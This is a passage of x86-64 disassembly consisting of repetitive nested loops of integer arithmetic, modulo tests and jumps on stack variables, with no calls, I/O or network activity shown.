mov dword [rsp + 0x100], eax
cmp dword [rsp + 0x100], 5
jge 0x1400f00f7
imul eax, dword [rsp + 0x100], 6
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f00e1
mov eax, dword [rsp + 0x100]
mov ecx, dword [rsp + 0x5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
jmp 0x1400f00f5
imul eax, dword [rsp + 0x100], 3
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
jmp 0x1400f008b
jmp 0x1400f0123
mov eax, dword [rsp + 0x5c]
sub eax, 7
mov dword [rsp + 0x5c], eax
cmp dword [rsp + 0x5c], 0xa
jge 0x1400f0118
mov eax, dword [rsp + 0x5c]
add eax, 4
mov dword [rsp + 0x5c], eax
jmp 0x1400f0123
mov eax, dword [rsp + 0x5c]
sub eax, 2
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
add eax, 3
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f014d
mov eax, dword [rsp + 0x5c]
sub eax, 4
mov dword [rsp + 0x5c], eax
jmp 0x1400f0158
mov eax, dword [rsp + 0x5c]
add eax, 5
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f0123
cmp dword [rsp + 0x5c], 0
jle 0x1400f01a9
mov eax, dword [rsp + 0x5c]
sub eax, 3
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f019c
mov eax, dword [rsp + 0x5c]
add eax, 6
mov dword [rsp + 0x5c], eax
jmp 0x1400f01a7
mov eax, dword [rsp + 0x5c]
sub eax, 2
mov dword [rsp + 0x5c], eax
jmp 0x1400f016a
mov dword [rsp + 0x58], 5
cmp dword [rsp + 0x58], 0x23
jge 0x1400f01ee
mov eax, dword [rsp + 0x58]
add eax, 6
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f01e1
mov eax, dword [rsp + 0x58]
add eax, eax
mov dword [rsp + 0x58], eax
jmp 0x1400f01ec
mov eax, dword [rsp + 0x58]
sub eax, 3
mov dword [rsp + 0x58], eax
jmp 0x1400f01b1
cmp dword [rsp + 0x58], 0xf
jle 0x1400f026e
mov dword [rsp + 0x104], 0
jmp 0x1400f0212
mov eax, dword [rsp + 0x104]
inc eax
mov dword [rsp + 0x104], eax
cmp dword [rsp + 0x104], 7
jge 0x1400f026c
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x104]
lea eax, [rax + rcx*8]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f0256
mov eax, dword [rsp + 0x104]
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
jmp 0x1400f026a
imul eax, dword [rsp + 0x104], 3
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
jmp 0x1400f0202
jmp 0x1400f0298
mov eax, dword [rsp + 0x58]
sub eax, 9
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0xa
jge 0x1400f028d
mov eax, dword [rsp + 0x58]
add eax, 6
mov dword [rsp + 0x58], eax
jmp 0x1400f0298
mov eax, dword [rsp + 0x58]
sub eax, 2
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
add eax, 5
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f02c2
mov eax, dword [rsp + 0x58]
sub eax, 6
mov dword [rsp + 0x58], eax
jmp 0x1400f02cd
mov eax, dword [rsp + 0x58]
add eax, 7
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f0298
cmp dword [rsp + 0x58], 0
jle 0x1400f031e
mov eax, dword [rsp + 0x58]
sub eax, 5
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f0311
mov eax, dword [rsp + 0x58]
add eax, 8
mov dword [rsp + 0x58], eax
jmp 0x1400f031c
mov eax, dword [rsp + 0x58]
sub eax, 3
mov dword [rsp + 0x58], eax
jmp 0x1400f02df
mov eax, dword [rsp + 0x160]
imul eax, dword [rsp + 0x204]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x380], eax
cmp dword [rsp + 0x160], 3
jl 0x1400f0014
jmp 0x1400effe6
cmp dword [rsp + 0x204], 5
jle 0x1400f0824
mov eax, dword [rsp + 0x204]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x208], eax
mov dword [rsp + 0x3c], 5
cmp dword [rsp + 0x3c], 0x28
jge 0x1400f03dc
mov eax, dword [rsp + 0x3c]
add eax, 7
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f03cf
mov eax, dword [rsp + 0x3c]
add eax, eax
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f03c2
mov eax, dword [rsp + 0x3c]
sub eax, 3
mov dword [rsp + 0x3c], eax
jmp 0x1400f03cd
mov eax, dword [rsp + 0x3c]
add eax, 4
mov dword [rsp + 0x3c], eax
jmp 0x1400f03da
mov eax, dword [rsp + 0x3c]
sub eax, 3
mov dword [rsp + 0x3c], eax
jmp 0x1400f0375
cmp dword [rsp + 0x3c], 0xf
jle 0x1400f04a2
mov dword [rsp + 0xa8], 0
jmp 0x1400f0404
mov eax, dword [rsp + 0xa8]
inc eax
mov dword [rsp + 0xa8], eax
cmp dword [rsp + 0xa8], 8
jge 0x1400f04a0
imul eax, dword [rsp + 0xa8], 9
mov ecx, dword [rsp + 0x3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f0487
mov eax, dword [rsp + 0xa8]
mov ecx, dword [rsp + 0x3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f0472
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0xa8]
lea eax, [rax + rcx*2]
mov dword [rsp + 0x3c], eax
jmp 0x1400f0485
mov eax, dword [rsp + 0xa8]
mov ecx, dword [rsp + 0x3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c], eax
jmp 0x1400f049b
imul eax, dword [rsp + 0xa8], 3
mov ecx, dword [rsp + 0x3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c], eax
jmp 0x1400f03f4
jmp 0x1400f04f4
mov eax, dword [rsp + 0x3c]
sub eax, 0xa
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x3c], 0xa
jge 0x1400f04e9
mov eax, dword [rsp + 0x3c]
add eax, 7
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400f04dc
mov eax, dword [rsp + 0x3c]
sub eax, 2
mov dword [rsp + 0x3c], eax
jmp 0x1400f04e7
mov eax, dword [rsp + 0x3c]
add eax, 3
mov dword [rsp + 0x3c], eax
jmp 0x1400f04f4
mov eax, dword [rsp + 0x3c]
sub eax, 2
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
add eax, 6
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f0549
mov eax, dword [rsp + 0x3c]
sub eax, 5
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f053c
mov eax, dword [rsp + 0x3c]
add eax, 8
mov dword [rsp + 0x3c], eax
jmp 0x1400f0547
mov eax, dword [rsp + 0x3c]
sub eax, 3
mov dword [rsp + 0x3c], eax
jmp 0x1400f0554
mov eax, dword [rsp + 0x3c]
add eax, 7
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f04f4
cmp dword [rsp + 0x3c], 0
jle 0x1400f05cd
mov eax, dword [rsp + 0x3c]
sub eax, 6
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f0598
mov eax, dword [rsp + 0x3c]
add eax, 9
mov dword [rsp + 0x3c], eax
jmp 0x1400f05cb
mov eax, dword [rsp + 0x3c]
sub eax, 3
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400f05c0
mov eax, dword [rsp + 0x3c]
add eax, 4
mov dword [rsp + 0x3c], eax
jmp 0x1400f05cb
mov eax, dword [rsp + 0x3c]
sub eax, 2
mov dword [rsp + 0x3c], eax
jmp 0x1400f0566
mov dword [rsp + 0x94], 0xa
mov dword [rsp + 0x108], 0
jmp 0x1400f05f5
mov eax, dword [rsp + 0x108]
inc eax
mov dword [rsp + 0x108], eax
cmp dword [rsp + 0x108], 5
jge 0x1400f0661
imul eax, dword [rsp + 0x108], 3
mov ecx, dword [rsp + 0x94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
mov eax, dword [rsp + 0x94]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400f0647
mov eax, dword [rsp + 0x108]
mov ecx, dword [rsp + 0x94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
jmp 0x1400f065f
mov eax, dword [rsp + 0x94]
mov ecx, dword [rsp + 0x108]
lea eax, [rax + rcx*2]
mov dword [rsp + 0x94], eax
jmp 0x1400f05e5
cmp dword [rsp + 0x94], 0x14
jle 0x1400f0703
mov dword [rsp + 0x10c], 0
jmp 0x1400f068c
mov eax, dword [rsp + 0x10c]
inc eax
mov dword [rsp + 0x10c], eax
cmp dword [rsp + 0x10c], 3
jge 0x1400f0701
mov eax, dword [rsp + 0x10c]
add eax, 2
mov ecx, dword [rsp + 0x94]
imul ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
mov eax, dword [rsp + 0x94]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f06e3
mov eax, dword [rsp + 0x10c]
mov ecx, dword [rsp + 0x94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
jmp 0x1400f06fc
mov eax, dword [rsp + 0x10c]
mov ecx, dword [rsp + 0x94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
jmp 0x1400f067c
jmp 0x1400f0742
mov eax, dword [rsp + 0x94]
sub eax, 5
mov dword [rsp + 0x94], eax
cmp dword [rsp + 0x94], 0xa
jge 0x1400f0731
mov eax, dword [rsp + 0x94]
add eax, 3
mov dword [rsp + 0x94], eax
jmp 0x1400f0742
mov eax, dword [rsp + 0x94]
sub eax, 2
mov dword [rsp + 0x94], eax
mov eax, dword [rsp + 0x94]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x1400f07a4
mov eax, dword [rsp + 0x94]
add eax, 2
mov dword [rsp + 0x94], eax
mov eax, dword [rsp + 0x94]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f0791
mov eax, dword [rsp + 0x94]
sub eax, 3
mov dword [rsp + 0x94], eax
jmp 0x1400f07a2
mov eax, dword [rsp + 0x94]
add eax, 4
mov dword [rsp + 0x94], eax
jmp 0x1400f0742
mov eax, dword [rsp + 0x94]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x1400f0806
mov eax, dword [rsp + 0x94]
add eax, 2
mov dword [rsp + 0x94], eax
mov eax, dword [rsp + 0x94]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f07f3
mov eax, dword [rsp + 0x94]
sub eax, 2
mov dword [rsp + 0x94], eax
jmp 0x1400f0804
mov eax, dword [rsp + 0x94]
add eax, 3
mov dword [rsp + 0x94], eax
jmp 0x1400f07a4
mov eax, dword [rsp + 0x208]
dec eax
mov dword [rsp + 0x208], eax
cmp dword [rsp + 0x208], 0
jg 0x1400f036d
jmp 0x1400effaa
mov eax, dword [rsp + 0x20c]
sub eax, 3
mov dword [rsp + 0x20c], eax
cmp dword [rsp + 0x20c], 0
jg 0x1400eff9d
mov dword [rsp + 0x210], 0
jmp 0x1400f0865
mov eax, dword [rsp + 0x210]
inc eax
mov dword [rsp + 0x210], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x210], eax
jge 0x1400f0f29
mov dword [rsp + 0x214], 7
mov dword [rsp + 0x19c], 0
jmp 0x1400f08a1
mov eax, dword [rsp + 0x19c]
inc eax
mov dword [rsp + 0x19c], eax
cmp dword [rsp + 0x19c], 2
jge 0x1400f0bf7
mov eax, dword [rsp + 0x19c]
inc eax
mov dword [rsp + 0x164], eax
mov eax, dword [rsp + 0x164]
inc eax
mov dword [rsp + 0x164], eax
cmp dword [rsp + 0x164], 2
jne 0x1400f0be4
mov dword [rsp + 0x7c], 5
cmp dword [rsp + 0x7c], 0x23
jge 0x1400f0922
mov eax, dword [rsp + 0x7c]
add eax, 6
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x7c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f0915
mov eax, dword [rsp + 0x7c]
add eax, eax
mov dword [rsp + 0x7c], eax
jmp 0x1400f0920
mov eax, dword [rsp + 0x7c]
sub eax, 3
mov dword [rsp + 0x7c], eax
jmp 0x1400f08e5
cmp dword [rsp + 0x7c], 0xf
jle 0x1400f09a2
mov dword [rsp + 0x110], 0
jmp 0x1400f0946
mov eax, dword [rsp + 0x110]
inc eax
mov dword [rsp + 0x110], eax
cmp dword [rsp + 0x110], 7
jge 0x1400f09a0
mov eax, dword [rsp + 0x7c]
mov ecx, dword [rsp + 0x110]
lea eax, [rax + rcx*8]
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x7c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f098a
mov eax, dword [rsp + 0x110]
mov ecx, dword [rsp + 0x7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c], eax
jmp 0x1400f099e
imul eax, dword [rsp + 0x110], 3
mov ecx, dword [rsp + 0x7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c], eax
jmp 0x1400f0936
jmp 0x1400f09cc
mov eax, dword [rsp + 0x7c]
sub eax, 9
mov dword [rsp + 0x7c], eax
cmp dword [rsp + 0x7c], 0xa
jge 0x1400f09c1
mov eax, dword [rsp + 0x7c]
add eax, 6
mov dword [rsp + 0x7c], eax
jmp 0x1400f09cc
mov eax, dword [rsp + 0x7c]
sub eax, 2
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x7c]
add eax, 5
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x7c]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f09f6
mov eax, dword [rsp + 0x7c]
sub eax, 6
mov dword [rsp + 0x7c], eax
jmp 0x1400f0a01
mov eax, dword [rsp + 0x7c]
add eax, 7
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x7c]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f09cc
cmp dword [rsp + 0x7c], 0
jle 0x1400f0a52
mov eax, dword [rsp + 0x7c]
sub eax, 5
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x7c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f0a45
mov eax, dword [rsp + 0x7c]
add eax, 8
mov dword [rsp + 0x7c], eax
jmp 0x1400f0a50
mov eax, dword [rsp + 0x7c]
sub eax, 3
mov dword [rsp + 0x7c], eax
jmp 0x1400f0a13
mov dword [rsp + 0x54], 5
cmp dword [rsp + 0x54], 0x19
jge 0x1400f0a97
mov eax, dword [rsp + 0x54]
add eax, 0xa
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f0a8a
mov eax, dword [rsp + 0x54]
shl eax, 1
mov dword [rsp + 0x54], eax
jmp 0x1400f0a95
mov eax, dword [rsp + 0x54]
sub eax, 3
mov dword [rsp + 0x54], eax
jmp 0x1400f0a5a
cmp dword [rsp + 0x54], 0xf
jle 0x1400f0b19
mov dword [rsp + 0x114], 0
jmp 0x1400f0abb
mov eax, dword [rsp + 0x114]
inc eax
mov dword [rsp + 0x114], eax
cmp dword [rsp + 0x114], 5
jge 0x1400f0b17
imul eax, dword [rsp + 0x114], 6
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f0b01
mov eax, dword [rsp + 0x114]
mov ecx, dword [rsp + 0x54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
jmp 0x1400f0b15
imul eax, dword [rsp + 0x114], 3
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
jmp 0x1400f0aab
jmp 0x1400f0b43
mov eax, dword [rsp + 0x54]
sub eax, 7
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0xa
jge 0x1400f0b38
mov eax, dword [rsp + 0x54]
add eax, 4
mov dword [rsp + 0x54], eax
jmp 0x1400f0b43
mov eax, dword [rsp + 0x54]
sub eax, 2
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
add eax, 3
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f0b6d
mov eax, dword [rsp + 0x54]
sub eax, 4
mov dword [rsp + 0x54], eax
jmp 0x1400f0b78
mov eax, dword [rsp + 0x54]
add eax, 5
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f0b43
cmp dword [rsp + 0x54], 0
jle 0x1400f0bc9
mov eax, dword [rsp + 0x54]
sub eax, 0x32
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f0bbc
mov eax, dword [rsp + 0x54]
add eax, 6
mov dword [rsp + 0x54], eax
jmp 0x1400f0bc7
mov eax, dword [rsp + 0x54]
sub eax, 2
mov dword [rsp + 0x54], eax
jmp 0x1400f0b8a
mov eax, dword [rsp + 0x164]
imul eax, dword [rsp + 0x214]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x384], eax
cmp dword [rsp + 0x164], 3
jl 0x1400f08bf
jmp 0x1400f0891
cmp dword [rsp + 0x214], 5
jle 0x1400f0f24
mov eax, dword [rsp + 0x214]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x218], eax
mov dword [rsp + 0x40], 5
cmp dword [rsp + 0x40], 0x1e
jge 0x1400f0c5d
mov eax, dword [rsp + 0x40]
add eax, 5
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f0c50
mov eax, dword [rsp + 0x40]
shl eax, 1
mov dword [rsp + 0x40], eax
jmp 0x1400f0c5b
mov eax, dword [rsp + 0x40]
sub eax, 3
mov dword [rsp + 0x40], eax
jmp 0x1400f0c20
cmp dword [rsp + 0x40], 0xf
jle 0x1400f0cdf
mov dword [rsp + 0x118], 0
jmp 0x1400f0c81
mov eax, dword [rsp + 0x118]
inc eax
mov dword [rsp + 0x118], eax
cmp dword [rsp + 0x118], 6
jge 0x1400f0cdd
imul eax, dword [rsp + 0x118], 7
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f0cc7
mov eax, dword [rsp + 0x118]
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x1400f0cdb
imul eax, dword [rsp + 0x118], 3
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x1400f0c71
jmp 0x1400f0d09
mov eax, dword [rsp + 0x40]
sub eax, 8
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0xa
jge 0x1400f0cfe
mov eax, dword [rsp + 0x40]
add eax, 5
mov dword [rsp + 0x40], eax
jmp 0x1400f0d09
mov eax, dword [rsp + 0x40]
sub eax, 2
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
add eax, 4
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f0d33
mov eax, dword [rsp + 0x40]
sub eax, 5
mov dword [rsp + 0x40], eax
jmp 0x1400f0d3e
mov eax, dword [rsp + 0x40]
add eax, 6
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f0d09
cmp dword [rsp + 0x40], 0
jle 0x1400f0d8f
mov eax, dword [rsp + 0x40]
sub eax, 4
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f0d82
mov eax, dword [rsp + 0x40]
add eax, 7
mov dword [rsp + 0x40], eax
jmp 0x1400f0d8d
mov eax, dword [rsp + 0x40]
sub eax, 3
mov dword [rsp + 0x40], eax
jmp 0x1400f0d50
mov dword [rsp + 0x4c], 5
cmp dword [rsp + 0x4c], 0x19
jge 0x1400f0dd4
mov eax, dword [rsp + 0x4c]
add eax, 4
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f0dc7
mov eax, dword [rsp + 0x4c]
shl eax, 1
mov dword [rsp + 0x4c], eax
jmp 0x1400f0dd2
mov eax, dword [rsp + 0x4c]
sub eax, 3
mov dword [rsp + 0x4c], eax
jmp 0x1400f0d97
cmp dword [rsp + 0x4c], 0xf
jle 0x1400f0e56
mov dword [rsp + 0x11c], 0
jmp 0x1400f0df8
mov eax, dword [rsp + 0x11c]
inc eax
mov dword [rsp + 0x11c], eax
cmp dword [rsp + 0x11c], 5
jge 0x1400f0e54
imul eax, dword [rsp + 0x11c], 6
mov ecx, dword [rsp + 0x4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f0e3e
mov eax, dword [rsp + 0x11c]
mov ecx, dword [rsp + 0x4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c], eax
jmp 0x1400f0e52
imul eax, dword [rsp + 0x11c], 3
mov ecx, dword [rsp + 0x4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c], eax
jmp 0x1400f0de8
jmp 0x1400f0e80
mov eax, dword [rsp + 0x4c]
sub eax, 7
mov dword [rsp + 0x4c], eax
cmp dword [rsp + 0x4c], 0xa
jge 0x1400f0e75
mov eax, dword [rsp + 0x4c]
add eax, 4
mov dword [rsp + 0x4c], eax
jmp 0x1400f0e80
mov eax, dword [rsp + 0x4c]
sub eax, 2
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
add eax, 3
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f0eaa
mov eax, dword [rsp + 0x4c]
sub eax, 4
mov dword [rsp + 0x4c], eax
jmp 0x1400f0eb5
mov eax, dword [rsp + 0x4c]
add eax, 5
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f0e80
cmp dword [rsp + 0x4c], 0
jle 0x1400f0f06
mov eax, dword [rsp + 0x4c]
sub eax, 3
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f0ef9
mov eax, dword [rsp + 0x4c]
add eax, 6
mov dword [rsp + 0x4c], eax
jmp 0x1400f0f04
mov eax, dword [rsp + 0x4c]
sub eax, 2
mov dword [rsp + 0x4c], eax
jmp 0x1400f0ec7
mov eax, dword [rsp + 0x218]
dec eax
mov dword [rsp + 0x218], eax
cmp dword [rsp + 0x218], 0
jg 0x1400f0c18
jmp 0x1400f0855
mov dword [rsp + 0x80], 5
cmp dword [rsp + 0x80], 0x1e
jge 0x1400f0f89
mov eax, dword [rsp + 0x80]
add eax, 5
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x80]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f0f76
mov eax, dword [rsp + 0x80]
shl eax, 1
mov dword [rsp + 0x80], eax
jmp 0x1400f0f87
mov eax, dword [rsp + 0x80]
sub eax, 3
mov dword [rsp + 0x80], eax
jmp 0x1400f0f34
cmp dword [rsp + 0x80], 0xf
jle 0x1400f102a
mov dword [rsp + 0x120], 0
jmp 0x1400f0fb4
mov eax, dword [rsp + 0x120]
inc eax
mov dword [rsp + 0x120], eax
cmp dword [rsp + 0x120], 6
jge 0x1400f1028
imul eax, dword [rsp + 0x120], 7
mov ecx, dword [rsp + 0x80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x80]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f1009
mov eax, dword [rsp + 0x120]
mov ecx, dword [rsp + 0x80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x80], eax
jmp 0x1400f1023
imul eax, dword [rsp + 0x120], 3
mov ecx, dword [rsp + 0x80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80], eax
jmp 0x1400f0fa4
jmp 0x1400f1069
mov eax, dword [rsp + 0x80]
sub eax, 8
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0xa
jge 0x1400f1058
mov eax, dword [rsp + 0x80]
add eax, 5
mov dword [rsp + 0x80], eax
jmp 0x1400f1069
mov eax, dword [rsp + 0x80]
sub eax, 2
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x80]
add eax, 4
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x80]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f10a2
mov eax, dword [rsp + 0x80]
sub eax, 5
mov dword [rsp + 0x80], eax
jmp 0x1400f10b3
mov eax, dword [rsp + 0x80]
add eax, 6
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x80]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f1069
cmp dword [rsp + 0x80], 0
jle 0x1400f111f
mov eax, dword [rsp + 0x80]
sub eax, 4
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x80]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f110c
mov eax, dword [rsp + 0x80]
add eax, 7
mov dword [rsp + 0x80], eax
jmp 0x1400f111d
mov eax, dword [rsp + 0x80]
sub eax, 3
mov dword [rsp + 0x80], eax
jmp 0x1400f10c8
mov dword [rsp + 0x84], 5
cmp dword [rsp + 0x84], 0x23
jge 0x1400f117f
mov eax, dword [rsp + 0x84]
add eax, 6
mov dword [rsp + 0x84], eax
mov eax, dword [rsp + 0x84]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f116c
mov eax, dword [rsp + 0x84]
add eax, eax
mov dword [rsp + 0x84], eax
jmp 0x1400f117d
mov eax, dword [rsp + 0x84]
sub eax, 3
mov dword [rsp + 0x84], eax
jmp 0x1400f112a
cmp dword [rsp + 0x84], 0xf
jle 0x1400f121b
mov dword [rsp + 0x124], 0
